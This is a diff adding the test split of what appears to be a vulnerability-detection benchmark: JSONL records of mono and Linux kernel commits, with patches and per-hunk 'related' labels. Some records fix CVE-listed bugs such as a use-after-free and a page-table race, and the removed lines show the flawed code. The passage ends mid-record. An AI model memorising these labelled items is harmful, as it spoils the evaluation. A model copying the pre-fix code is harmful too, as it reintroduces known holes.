diff --git "a/evaluate/dataset/C_C++_Java_Python/test.jsonl" "b/evaluate/dataset/C_C++_Java_Python/test.jsonl" new file mode 100644--- /dev/null +++ "b/evaluate/dataset/C_C++_Java_Python/test.jsonl" @@ -0,0 +1,1596 @@ +{"owner": "mono", "repo": "mono", "language": "C", "file_name": "mono/metadata/icall.c", "commit_id": "2f00e4bbb2137130845afb1b2a1e678552fc8e5c", "commit_message": "Disable some of the FastCopy fast paths since they are racy.", "patch": "@@ -718,7 +718,6 @@ ves_icall_System_Array_FastCopy (MonoArray *source, int source_idx, MonoArray* d\n \tvoid * source_addr;\n \tMonoClass *src_class;\n \tMonoClass *dest_class;\n-\tint i;\n \n \tMONO_ARCH_SAVE_REGS;\n \n@@ -742,6 +741,10 @@ ves_icall_System_Array_FastCopy (MonoArray *source, int source_idx, MonoArray* d\n \n \t/* Case1: object[] -> valuetype[] (ArrayList::ToArray) */\n \tif (src_class == mono_defaults.object_class && dest_class->valuetype) {\n+\t\t// FIXME: This is racy\n+\t\treturn FALSE;\n+\t\t/*\n+\t\t int i;\n \t\tint has_refs = dest_class->has_references;\n \t\tfor (i = source_idx; i < source_idx + length; ++i) {\n \t\t\tMonoObject *elem = mono_array_get (source, MonoObject*, i);\n@@ -762,6 +765,7 @@ ves_icall_System_Array_FastCopy (MonoArray *source, int source_idx, MonoArray* d\n \t\t\t\tmemcpy (addr, (char *)elem + sizeof (MonoObject), element_size);\n \t\t}\n \t\treturn TRUE;\n+\t\t*/\n \t}\n \n \t/* Check if we're copying a char[] <==> (u)short[] */\n@@ -772,13 +776,18 @@ ves_icall_System_Array_FastCopy (MonoArray *source, int source_idx, MonoArray* d\n \t\tif (mono_class_is_subclass_of (src_class, dest_class, FALSE))\n \t\t\t;\n \t\t/* Case2: object[] -> reftype[] (ArrayList::ToArray) */\n-\t\telse if (mono_class_is_subclass_of (dest_class, src_class, FALSE))\n+\t\telse if (mono_class_is_subclass_of (dest_class, src_class, FALSE)) {\n+\t\t\t// FIXME: This is racy\n+\t\t\treturn FALSE;\n+\t\t\t/*\n+\t\t\t int i;\n \t\t\tfor (i = source_idx; i < source_idx + length; ++i) {\n \t\t\t\tMonoObject *elem = mono_array_get (source, MonoObject*, i);\n \t\t\t\tif (elem && !mono_object_isinst (elem, dest_class))\n \t\t\t\t\treturn FALSE;\n \t\t\t}\n-\t\telse\n+\t\t\t*/\n+\t\t} else\n \t\t\treturn FALSE;\n \t}\n ", "sections": [{"section": "@@ -718,7 +718,6 @@ ves_icall_System_Array_FastCopy (MonoArray *source, int source_idx, MonoArray* d\n \tvoid * source_addr;\n \tMonoClass *src_class;\n \tMonoClass *dest_class;\n-\tint i;\n \n \tMONO_ARCH_SAVE_REGS;\n \n", "related": true}, {"section": "@@ -742,6 +741,10 @@ ves_icall_System_Array_FastCopy (MonoArray *source, int source_idx, MonoArray* d\n \n \t/* Case1: object[] -> valuetype[] (ArrayList::ToArray) */\n \tif (src_class == mono_defaults.object_class && dest_class->valuetype) {\n+\t\t// FIXME: This is racy\n+\t\treturn FALSE;\n+\t\t/*\n+\t\t int i;\n \t\tint has_refs = dest_class->has_references;\n \t\tfor (i = source_idx; i < source_idx + length; ++i) {\n \t\t\tMonoObject *elem = mono_array_get (source, MonoObject*, i);\n", "related": true}, {"section": "@@ -762,6 +765,7 @@ ves_icall_System_Array_FastCopy (MonoArray *source, int source_idx, MonoArray* d\n \t\t\t\tmemcpy (addr, (char *)elem + sizeof (MonoObject), element_size);\n \t\t}\n \t\treturn TRUE;\n+\t\t*/\n \t}\n \n \t/* Check if we're copying a char[] <==> (u)short[] */\n", "related": true}, {"section": "@@ -772,13 +776,18 @@ ves_icall_System_Array_FastCopy (MonoArray *source, int source_idx, MonoArray* d\n \t\tif (mono_class_is_subclass_of (src_class, dest_class, FALSE))\n \t\t\t;\n \t\t/* Case2: object[] -> reftype[] (ArrayList::ToArray) */\n-\t\telse if (mono_class_is_subclass_of (dest_class, src_class, FALSE))\n+\t\telse if (mono_class_is_subclass_of (dest_class, src_class, FALSE)) {\n+\t\t\t// FIXME: This is racy\n+\t\t\treturn FALSE;\n+\t\t\t/*\n+\t\t\t int i;\n \t\t\tfor (i = source_idx; i < source_idx + length; ++i) {\n \t\t\t\tMonoObject *elem = mono_array_get (source, MonoObject*, i);\n \t\t\t\tif (elem && !mono_object_isinst (elem, dest_class))\n \t\t\t\t\treturn FALSE;\n \t\t\t}\n-\t\telse\n+\t\t\t*/\n+\t\t} else\n \t\t\treturn FALSE;\n \t}\n ", "related": true}]} +{"owner": "mono", "repo": "mono", "language": "C", "file_name": "mono/metadata/threads.c", "commit_id": "722f9890f09aadfc37ae479e7d946d5fc5ef7b91", "commit_message": "Fix access to freed members of a dead thread\n\n* threads.c: Fix access to freed members of a dead thread. Found\nand fixed by Rodrigo Kumpera \nRef: CVE-2011-0992", "patch": "@@ -1036,12 +1036,17 @@ void ves_icall_System_Threading_InternalThread_Thread_free_internal (MonoInterna\n \t\tCloseHandle (thread);\n \n \tif (this->synch_cs) {\n-\t\tDeleteCriticalSection (this->synch_cs);\n-\t\tg_free (this->synch_cs);\n+\t\tCRITICAL_SECTION *synch_cs = this->synch_cs;\n \t\tthis->synch_cs = NULL;\n+\t\tDeleteCriticalSection (synch_cs);\n+\t\tg_free (synch_cs);\n \t}\n \n-\tg_free (this->name);\n+\tif (this->name) {\n+\t\tvoid *name = this->name;\n+\t\tthis->name = NULL;\n+\t\tg_free (name);\n+\t}\n }\n \n static void mono_thread_start (MonoThread *thread)", "sections": [{"section": "@@ -1036,12 +1036,17 @@ void ves_icall_System_Threading_InternalThread_Thread_free_internal (MonoInterna\n \t\tCloseHandle (thread);\n \n \tif (this->synch_cs) {\n-\t\tDeleteCriticalSection (this->synch_cs);\n-\t\tg_free (this->synch_cs);\n+\t\tCRITICAL_SECTION *synch_cs = this->synch_cs;\n \t\tthis->synch_cs = NULL;\n+\t\tDeleteCriticalSection (synch_cs);\n+\t\tg_free (synch_cs);\n \t}\n \n-\tg_free (this->name);\n+\tif (this->name) {\n+\t\tvoid *name = this->name;\n+\t\tthis->name = NULL;\n+\t\tg_free (name);\n+\t}\n }\n \n static void mono_thread_start (MonoThread *thread)", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "include/linux/if_packet.h", "commit_id": "13fcb7bd322164c67926ffe272846d4860196dc6", "commit_message": "af_packet: prevent information leak\n\nIn 2.6.27, commit 393e52e33c6c2 (packet: deliver VLAN TCI to userspace)\nadded a small information leak.\n\nAdd padding field and make sure its zeroed before copy to user.\n\nSigned-off-by: Eric Dumazet \nCC: Patrick McHardy \nSigned-off-by: David S. Miller ", "patch": "@@ -62,6 +62,7 @@ struct tpacket_auxdata {\n \t__u16\t\ttp_mac;\n \t__u16\t\ttp_net;\n \t__u16\t\ttp_vlan_tci;\n+\t__u16\t\ttp_padding;\n };\n \n /* Rx ring - header status */\n@@ -101,6 +102,7 @@ struct tpacket2_hdr {\n \t__u32\t\ttp_sec;\n \t__u32\t\ttp_nsec;\n \t__u16\t\ttp_vlan_tci;\n+\t__u16\t\ttp_padding;\n };\n \n #define TPACKET2_HDRLEN\t\t(TPACKET_ALIGN(sizeof(struct tpacket2_hdr)) + sizeof(struct sockaddr_ll))", "sections": [{"section": "@@ -62,6 +62,7 @@ struct tpacket_auxdata {\n \t__u16\t\ttp_mac;\n \t__u16\t\ttp_net;\n \t__u16\t\ttp_vlan_tci;\n+\t__u16\t\ttp_padding;\n };\n \n /* Rx ring - header status */\n", "related": false}, {"section": "@@ -101,6 +102,7 @@ struct tpacket2_hdr {\n \t__u32\t\ttp_sec;\n \t__u32\t\ttp_nsec;\n \t__u16\t\ttp_vlan_tci;\n+\t__u16\t\ttp_padding;\n };\n \n #define TPACKET2_HDRLEN\t\t(TPACKET_ALIGN(sizeof(struct tpacket2_hdr)) + sizeof(struct sockaddr_ll))", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/mips/kernel/traps.c", "commit_id": "a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "commit_message": "perf: Remove the nmi parameter from the swevent and overflow interface\n\nThe nmi parameter indicated if we could do wakeups from the current\ncontext, if not, we would set some state and self-IPI and let the\nresulting interrupt do the wakeup.\n\nFor the various event classes:\n\n - hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from\n the PMI-tail (ARM etc.)\n - tracepoint: nmi=0; since tracepoint could be from NMI context.\n - software: nmi=[0,1]; some, like the schedule thing cannot\n perform wakeups, and hence need 0.\n\nAs one can see, there is very little nmi=1 usage, and the down-side of\nnot using it is that on some platforms some software events can have a\njiffy delay in wakeup (when arch_irq_work_raise isn't implemented).\n\nThe up-side however is that we can remove the nmi parameter and save a\nbunch of conditionals in fast paths.\n\nSigned-off-by: Peter Zijlstra \nCc: Michael Cree \nCc: Will Deacon \nCc: Deng-Cheng Zhu \nCc: Anton Blanchard \nCc: Eric B Munson \nCc: Heiko Carstens \nCc: Paul Mundt \nCc: David S. Miller \nCc: Frederic Weisbecker \nCc: Jason Wessel \nCc: Don Zickus \nLink: http://lkml.kernel.org/n/tip-agjev8eu666tvknpb3iaj0fg@git.kernel.org\nSigned-off-by: Ingo Molnar ", "patch": "@@ -578,12 +578,12 @@ static int simulate_llsc(struct pt_regs *regs, unsigned int opcode)\n {\n \tif ((opcode & OPCODE) == LL) {\n \t\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\n-\t\t\t\t1, 0, regs, 0);\n+\t\t\t\t1, regs, 0);\n \t\treturn simulate_ll(regs, opcode);\n \t}\n \tif ((opcode & OPCODE) == SC) {\n \t\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\n-\t\t\t\t1, 0, regs, 0);\n+\t\t\t\t1, regs, 0);\n \t\treturn simulate_sc(regs, opcode);\n \t}\n \n@@ -602,7 +602,7 @@ static int simulate_rdhwr(struct pt_regs *regs, unsigned int opcode)\n \t\tint rd = (opcode & RD) >> 11;\n \t\tint rt = (opcode & RT) >> 16;\n \t\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\n-\t\t\t\t1, 0, regs, 0);\n+\t\t\t\t1, regs, 0);\n \t\tswitch (rd) {\n \t\tcase 0:\t\t/* CPU number */\n \t\t\tregs->regs[rt] = smp_processor_id();\n@@ -640,7 +640,7 @@ static int simulate_sync(struct pt_regs *regs, unsigned int opcode)\n {\n \tif ((opcode & OPCODE) == SPEC0 && (opcode & FUNC) == SYNC) {\n \t\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\n-\t\t\t\t1, 0, regs, 0);\n+\t\t\t\t1, regs, 0);\n \t\treturn 0;\n \t}\n ", "sections": [{"section": "@@ -578,12 +578,12 @@ static int simulate_llsc(struct pt_regs *regs, unsigned int opcode)\n {\n \tif ((opcode & OPCODE) == LL) {\n \t\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\n-\t\t\t\t1, 0, regs, 0);\n+\t\t\t\t1, regs, 0);\n \t\treturn simulate_ll(regs, opcode);\n \t}\n \tif ((opcode & OPCODE) == SC) {\n \t\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\n-\t\t\t\t1, 0, regs, 0);\n+\t\t\t\t1, regs, 0);\n \t\treturn simulate_sc(regs, opcode);\n \t}\n \n", "related": false}, {"section": "@@ -602,7 +602,7 @@ static int simulate_rdhwr(struct pt_regs *regs, unsigned int opcode)\n \t\tint rd = (opcode & RD) >> 11;\n \t\tint rt = (opcode & RT) >> 16;\n \t\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\n-\t\t\t\t1, 0, regs, 0);\n+\t\t\t\t1, regs, 0);\n \t\tswitch (rd) {\n \t\tcase 0:\t\t/* CPU number */\n \t\t\tregs->regs[rt] = smp_processor_id();\n", "related": false}, {"section": "@@ -640,7 +640,7 @@ static int simulate_sync(struct pt_regs *regs, unsigned int opcode)\n {\n \tif ((opcode & OPCODE) == SPEC0 && (opcode & FUNC) == SYNC) {\n \t\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS,\n-\t\t\t\t1, 0, regs, 0);\n+\t\t\t\t1, regs, 0);\n \t\treturn 0;\n \t}\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/sh/kernel/ptrace_32.c", "commit_id": "a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "commit_message": "perf: Remove the nmi parameter from the swevent and overflow interface\n\nThe nmi parameter indicated if we could do wakeups from the current\ncontext, if not, we would set some state and self-IPI and let the\nresulting interrupt do the wakeup.\n\nFor the various event classes:\n\n - hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from\n the PMI-tail (ARM etc.)\n - tracepoint: nmi=0; since tracepoint could be from NMI context.\n - software: nmi=[0,1]; some, like the schedule thing cannot\n perform wakeups, and hence need 0.\n\nAs one can see, there is very little nmi=1 usage, and the down-side of\nnot using it is that on some platforms some software events can have a\njiffy delay in wakeup (when arch_irq_work_raise isn't implemented).\n\nThe up-side however is that we can remove the nmi parameter and save a\nbunch of conditionals in fast paths.\n\nSigned-off-by: Peter Zijlstra \nCc: Michael Cree \nCc: Will Deacon \nCc: Deng-Cheng Zhu \nCc: Anton Blanchard \nCc: Eric B Munson \nCc: Heiko Carstens \nCc: Paul Mundt \nCc: David S. Miller \nCc: Frederic Weisbecker \nCc: Jason Wessel \nCc: Don Zickus \nLink: http://lkml.kernel.org/n/tip-agjev8eu666tvknpb3iaj0fg@git.kernel.org\nSigned-off-by: Ingo Molnar ", "patch": "@@ -63,7 +63,7 @@ static inline int put_stack_long(struct task_struct *task, int offset,\n \treturn 0;\n }\n \n-void ptrace_triggered(struct perf_event *bp, int nmi,\n+void ptrace_triggered(struct perf_event *bp,\n \t\t struct perf_sample_data *data, struct pt_regs *regs)\n {\n \tstruct perf_event_attr attr;", "sections": [{"section": "@@ -63,7 +63,7 @@ static inline int put_stack_long(struct task_struct *task, int offset,\n \treturn 0;\n }\n \n-void ptrace_triggered(struct perf_event *bp, int nmi,\n+void ptrace_triggered(struct perf_event *bp,\n \t\t struct perf_sample_data *data, struct pt_regs *regs)\n {\n \tstruct perf_event_attr attr;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/sparc/math-emu/math_32.c", "commit_id": "a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "commit_message": "perf: Remove the nmi parameter from the swevent and overflow interface\n\nThe nmi parameter indicated if we could do wakeups from the current\ncontext, if not, we would set some state and self-IPI and let the\nresulting interrupt do the wakeup.\n\nFor the various event classes:\n\n - hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from\n the PMI-tail (ARM etc.)\n - tracepoint: nmi=0; since tracepoint could be from NMI context.\n - software: nmi=[0,1]; some, like the schedule thing cannot\n perform wakeups, and hence need 0.\n\nAs one can see, there is very little nmi=1 usage, and the down-side of\nnot using it is that on some platforms some software events can have a\njiffy delay in wakeup (when arch_irq_work_raise isn't implemented).\n\nThe up-side however is that we can remove the nmi parameter and save a\nbunch of conditionals in fast paths.\n\nSigned-off-by: Peter Zijlstra \nCc: Michael Cree \nCc: Will Deacon \nCc: Deng-Cheng Zhu \nCc: Anton Blanchard \nCc: Eric B Munson \nCc: Heiko Carstens \nCc: Paul Mundt \nCc: David S. Miller \nCc: Frederic Weisbecker \nCc: Jason Wessel \nCc: Don Zickus \nLink: http://lkml.kernel.org/n/tip-agjev8eu666tvknpb3iaj0fg@git.kernel.org\nSigned-off-by: Ingo Molnar ", "patch": "@@ -164,7 +164,7 @@ int do_mathemu(struct pt_regs *regs, struct task_struct *fpt)\n \tint retcode = 0; /* assume all succeed */\n \tunsigned long insn;\n \n-\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, 0, regs, 0);\n+\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, regs, 0);\n \n #ifdef DEBUG_MATHEMU\n \tprintk(\"In do_mathemu()... pc is %08lx\\n\", regs->pc);", "sections": [{"section": "@@ -164,7 +164,7 @@ int do_mathemu(struct pt_regs *regs, struct task_struct *fpt)\n \tint retcode = 0; /* assume all succeed */\n \tunsigned long insn;\n \n-\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, 0, regs, 0);\n+\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, regs, 0);\n \n #ifdef DEBUG_MATHEMU\n \tprintk(\"In do_mathemu()... pc is %08lx\\n\", regs->pc);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/mm/fault.c", "commit_id": "a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "commit_message": "perf: Remove the nmi parameter from the swevent and overflow interface\n\nThe nmi parameter indicated if we could do wakeups from the current\ncontext, if not, we would set some state and self-IPI and let the\nresulting interrupt do the wakeup.\n\nFor the various event classes:\n\n - hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from\n the PMI-tail (ARM etc.)\n - tracepoint: nmi=0; since tracepoint could be from NMI context.\n - software: nmi=[0,1]; some, like the schedule thing cannot\n perform wakeups, and hence need 0.\n\nAs one can see, there is very little nmi=1 usage, and the down-side of\nnot using it is that on some platforms some software events can have a\njiffy delay in wakeup (when arch_irq_work_raise isn't implemented).\n\nThe up-side however is that we can remove the nmi parameter and save a\nbunch of conditionals in fast paths.\n\nSigned-off-by: Peter Zijlstra \nCc: Michael Cree \nCc: Will Deacon \nCc: Deng-Cheng Zhu \nCc: Anton Blanchard \nCc: Eric B Munson \nCc: Heiko Carstens \nCc: Paul Mundt \nCc: David S. Miller \nCc: Frederic Weisbecker \nCc: Jason Wessel \nCc: Don Zickus \nLink: http://lkml.kernel.org/n/tip-agjev8eu666tvknpb3iaj0fg@git.kernel.org\nSigned-off-by: Ingo Molnar ", "patch": "@@ -1059,7 +1059,7 @@ do_page_fault(struct pt_regs *regs, unsigned long error_code)\n \tif (unlikely(error_code & PF_RSVD))\n \t\tpgtable_bad(regs, error_code, address);\n \n-\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, 0, regs, address);\n+\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, address);\n \n \t/*\n \t * If we're in an interrupt, have no user context or are running\n@@ -1161,11 +1161,11 @@ do_page_fault(struct pt_regs *regs, unsigned long error_code)\n \tif (flags & FAULT_FLAG_ALLOW_RETRY) {\n \t\tif (fault & VM_FAULT_MAJOR) {\n \t\t\ttsk->maj_flt++;\n-\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, 0,\n+\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1,\n \t\t\t\t regs, address);\n \t\t} else {\n \t\t\ttsk->min_flt++;\n-\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, 0,\n+\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1,\n \t\t\t\t regs, address);\n \t\t}\n \t\tif (fault & VM_FAULT_RETRY) {", "sections": [{"section": "@@ -1059,7 +1059,7 @@ do_page_fault(struct pt_regs *regs, unsigned long error_code)\n \tif (unlikely(error_code & PF_RSVD))\n \t\tpgtable_bad(regs, error_code, address);\n \n-\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, 0, regs, address);\n+\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, address);\n \n \t/*\n \t * If we're in an interrupt, have no user context or are running\n", "related": false}, {"section": "@@ -1161,11 +1161,11 @@ do_page_fault(struct pt_regs *regs, unsigned long error_code)\n \tif (flags & FAULT_FLAG_ALLOW_RETRY) {\n \t\tif (fault & VM_FAULT_MAJOR) {\n \t\t\ttsk->maj_flt++;\n-\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, 0,\n+\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1,\n \t\t\t\t regs, address);\n \t\t} else {\n \t\t\ttsk->min_flt++;\n-\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, 0,\n+\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1,\n \t\t\t\t regs, address);\n \t\t}\n \t\tif (fault & VM_FAULT_RETRY) {", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "security/commoncap.c", "commit_id": "d52fc5dde171f030170a6cb78034d166b13c9445", "commit_message": "fcaps: clear the same personality flags as suid when fcaps are used\n\nIf a process increases permissions using fcaps all of the dangerous\npersonality flags which are cleared for suid apps should also be cleared.\nThus programs given priviledge with fcaps will continue to have address space\nrandomization enabled even if the parent tried to disable it to make it\neasier to attack.\n\nSigned-off-by: Eric Paris \nReviewed-by: Serge Hallyn \nSigned-off-by: James Morris ", "patch": "@@ -505,6 +505,11 @@ int cap_bprm_set_creds(struct linux_binprm *bprm)\n \t}\n skip:\n \n+\t/* if we have fs caps, clear dangerous personality flags */\n+\tif (!cap_issubset(new->cap_permitted, old->cap_permitted))\n+\t\tbprm->per_clear |= PER_CLEAR_ON_SETID;\n+\n+\n \t/* Don't let someone trace a set[ug]id/setpcap binary with the revised\n \t * credentials unless they have the appropriate permit\n \t */", "sections": [{"section": "@@ -505,6 +505,11 @@ int cap_bprm_set_creds(struct linux_binprm *bprm)\n \t}\n skip:\n \n+\t/* if we have fs caps, clear dangerous personality flags */\n+\tif (!cap_issubset(new->cap_permitted, old->cap_permitted))\n+\t\tbprm->per_clear |= PER_CLEAR_ON_SETID;\n+\n+\n \t/* Don't let someone trace a set[ug]id/setpcap binary with the revised\n \t * credentials unless they have the appropriate permit\n \t */", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "kernel/exit.c", "commit_id": "b69f2292063d2caf37ca9aec7d63ded203701bf3", "commit_message": "block: Fix io_context leak after failure of clone with CLONE_IO\n\nWith CLONE_IO, parent's io_context->nr_tasks is incremented, but never\ndecremented whenever copy_process() fails afterwards, which prevents\nexit_io_context() from calling IO schedulers exit functions.\n\nGive a task_struct to exit_io_context(), and call exit_io_context() instead of\nput_io_context() in copy_process() cleanup path.\n\nSigned-off-by: Louis Rilling \nSigned-off-by: Jens Axboe ", "patch": "@@ -1004,7 +1004,7 @@ NORET_TYPE void do_exit(long code)\n \ttsk->flags |= PF_EXITPIDONE;\n \n \tif (tsk->io_context)\n-\t\texit_io_context();\n+\t\texit_io_context(tsk);\n \n \tif (tsk->splice_pipe)\n \t\t__free_pipe_info(tsk->splice_pipe);", "sections": [{"section": "@@ -1004,7 +1004,7 @@ NORET_TYPE void do_exit(long code)\n \ttsk->flags |= PF_EXITPIDONE;\n \n \tif (tsk->io_context)\n-\t\texit_io_context();\n+\t\texit_io_context(tsk);\n \n \tif (tsk->splice_pipe)\n \t\t__free_pipe_info(tsk->splice_pipe);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "mm/swapfile.c", "commit_id": "4a1d704194a441bf83c636004a479e01360ec850", "commit_message": "mm: thp: fix pmd_bad() triggering in code paths holding mmap_sem read mode\n\ncommit 1a5a9906d4e8d1976b701f889d8f35d54b928f25 upstream.\n\nIn some cases it may happen that pmd_none_or_clear_bad() is called with\nthe mmap_sem hold in read mode. In those cases the huge page faults can\nallocate hugepmds under pmd_none_or_clear_bad() and that can trigger a\nfalse positive from pmd_bad() that will not like to see a pmd\nmaterializing as trans huge.\n\nIt's not khugepaged causing the problem, khugepaged holds the mmap_sem\nin write mode (and all those sites must hold the mmap_sem in read mode\nto prevent pagetables to go away from under them, during code review it\nseems vm86 mode on 32bit kernels requires that too unless it's\nrestricted to 1 thread per process or UP builds). The race is only with\nthe huge pagefaults that can convert a pmd_none() into a\npmd_trans_huge().\n\nEffectively all these pmd_none_or_clear_bad() sites running with\nmmap_sem in read mode are somewhat speculative with the page faults, and\nthe result is always undefined when they run simultaneously. This is\nprobably why it wasn't common to run into this. For example if the\nmadvise(MADV_DONTNEED) runs zap_page_range() shortly before the page\nfault, the hugepage will not be zapped, if the page fault runs first it\nwill be zapped.\n\nAltering pmd_bad() not to error out if it finds hugepmds won't be enough\nto fix this, because zap_pmd_range would then proceed to call\nzap_pte_range (which would be incorrect if the pmd become a\npmd_trans_huge()).\n\nThe simplest way to fix this is to read the pmd in the local stack\n(regardless of what we read, no need of actual CPU barriers, only\ncompiler barrier needed), and be sure it is not changing under the code\nthat computes its value. Even if the real pmd is changing under the\nvalue we hold on the stack, we don't care. If we actually end up in\nzap_pte_range it means the pmd was not none already and it was not huge,\nand it can't become huge from under us (khugepaged locking explained\nabove).\n\nAll we need is to enforce that there is no way anymore that in a code\npath like below, pmd_trans_huge can be false, but pmd_none_or_clear_bad\ncan run into a hugepmd. The overhead of a barrier() is just a compiler\ntweak and should not be measurable (I only added it for THP builds). I\ndon't exclude different compiler versions may have prevented the race\ntoo by caching the value of *pmd on the stack (that hasn't been\nverified, but it wouldn't be impossible considering\npmd_none_or_clear_bad, pmd_bad, pmd_trans_huge, pmd_none are all inlines\nand there's no external function called in between pmd_trans_huge and\npmd_none_or_clear_bad).\n\n\t\tif (pmd_trans_huge(*pmd)) {\n\t\t\tif (next-addr != HPAGE_PMD_SIZE) {\n\t\t\t\tVM_BUG_ON(!rwsem_is_locked(&tlb->mm->mmap_sem));\n\t\t\t\tsplit_huge_page_pmd(vma->vm_mm, pmd);\n\t\t\t} else if (zap_huge_pmd(tlb, vma, pmd, addr))\n\t\t\t\tcontinue;\n\t\t\t/* fall through */\n\t\t}\n\t\tif (pmd_none_or_clear_bad(pmd))\n\nBecause this race condition could be exercised without special\nprivileges this was reported in CVE-2012-1179.\n\nThe race was identified and fully explained by Ulrich who debugged it.\nI'm quoting his accurate explanation below, for reference.\n\n====== start quote =======\n mapcount 0 page_mapcount 1\n kernel BUG at mm/huge_memory.c:1384!\n\n At some point prior to the panic, a \"bad pmd ...\" message similar to the\n following is logged on the console:\n\n mm/memory.c:145: bad pmd ffff8800376e1f98(80000000314000e7).\n\n The \"bad pmd ...\" message is logged by pmd_clear_bad() before it clears\n the page's PMD table entry.\n\n 143 void pmd_clear_bad(pmd_t *pmd)\n 144 {\n -> 145 pmd_ERROR(*pmd);\n 146 pmd_clear(pmd);\n 147 }\n\n After the PMD table entry has been cleared, there is an inconsistency\n between the actual number of PMD table entries that are mapping the page\n and the page's map count (_mapcount field in struct page). When the page\n is subsequently reclaimed, __split_huge_page() detects this inconsistency.\n\n 1381 if (mapcount != page_mapcount(page))\n 1382 printk(KERN_ERR \"mapcount %d page_mapcount %d\\n\",\n 1383 mapcount, page_mapcount(page));\n -> 1384 BUG_ON(mapcount != page_mapcount(page));\n\n The root cause of the problem is a race of two threads in a multithreaded\n process. Thread B incurs a page fault on a virtual address that has never\n been accessed (PMD entry is zero) while Thread A is executing an madvise()\n system call on a virtual address within the same 2 MB (huge page) range.\n\n virtual address space\n .---------------------.\n | |\n | |\n .-|---------------------|\n | | |\n | | |<-- B(fault)\n | | |\n 2 MB | |/////////////////////|-.\n huge < |/////////////////////| > A(range)\n page | |/////////////////////|-'\n | | |\n | | |\n '-|---------------------|\n | |\n | |\n '---------------------'\n\n - Thread A is executing an madvise(..., MADV_DONTNEED) system call\n on the virtual address range \"A(range)\" shown in the picture.\n\n sys_madvise\n // Acquire the semaphore in shared mode.\n down_read(¤t->mm->mmap_sem)\n ...\n madvise_vma\n switch (behavior)\n case MADV_DONTNEED:\n madvise_dontneed\n zap_page_range\n unmap_vmas\n unmap_page_range\n zap_pud_range\n zap_pmd_range\n //\n // Assume that this huge page has never been accessed.\n // I.e. content of the PMD entry is zero (not mapped).\n //\n if (pmd_trans_huge(*pmd)) {\n // We don't get here due to the above assumption.\n }\n //\n // Assume that Thread B incurred a page fault and\n .---------> // sneaks in here as shown below.\n | //\n | if (pmd_none_or_clear_bad(pmd))\n | {\n | if (unlikely(pmd_bad(*pmd)))\n | pmd_clear_bad\n | {\n | pmd_ERROR\n | // Log \"bad pmd ...\" message here.\n | pmd_clear\n | // Clear the page's PMD entry.\n | // Thread B incremented the map count\n | // in page_add_new_anon_rmap(), but\n | // now the page is no longer mapped\n | // by a PMD entry (-> inconsistency).\n | }\n | }\n |\n v\n - Thread B is handling a page fault on virtual address \"B(fault)\" shown\n in the picture.\n\n ...\n do_page_fault\n __do_page_fault\n // Acquire the semaphore in shared mode.\n down_read_trylock(&mm->mmap_sem)\n ...\n handle_mm_fault\n if (pmd_none(*pmd) && transparent_hugepage_enabled(vma))\n // We get here due to the above assumption (PMD entry is zero).\n do_huge_pmd_anonymous_page\n alloc_hugepage_vma\n // Allocate a new transparent huge page here.\n ...\n __do_huge_pmd_anonymous_page\n ...\n spin_lock(&mm->page_table_lock)\n ...\n page_add_new_anon_rmap\n // Here we increment the page's map count (starts at -1).\n atomic_set(&page->_mapcount, 0)\n set_pmd_at\n // Here we set the page's PMD entry which will be cleared\n // when Thread A calls pmd_clear_bad().\n ...\n spin_unlock(&mm->page_table_lock)\n\n The mmap_sem does not prevent the race because both threads are acquiring\n it in shared mode (down_read). Thread B holds the page_table_lock while\n the page's map count and PMD table entry are updated. However, Thread A\n does not synchronize on that lock.\n\n====== end quote =======\n\n[akpm@linux-foundation.org: checkpatch fixes]\nReported-by: Ulrich Obergfell \nSigned-off-by: Andrea Arcangeli \nAcked-by: Johannes Weiner \nCc: Mel Gorman \nCc: Hugh Dickins \nCc: Dave Jones \nAcked-by: Larry Woodman \nAcked-by: Rik van Riel \nCc: Mark Salter \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds \nSigned-off-by: Greg Kroah-Hartman ", "patch": "@@ 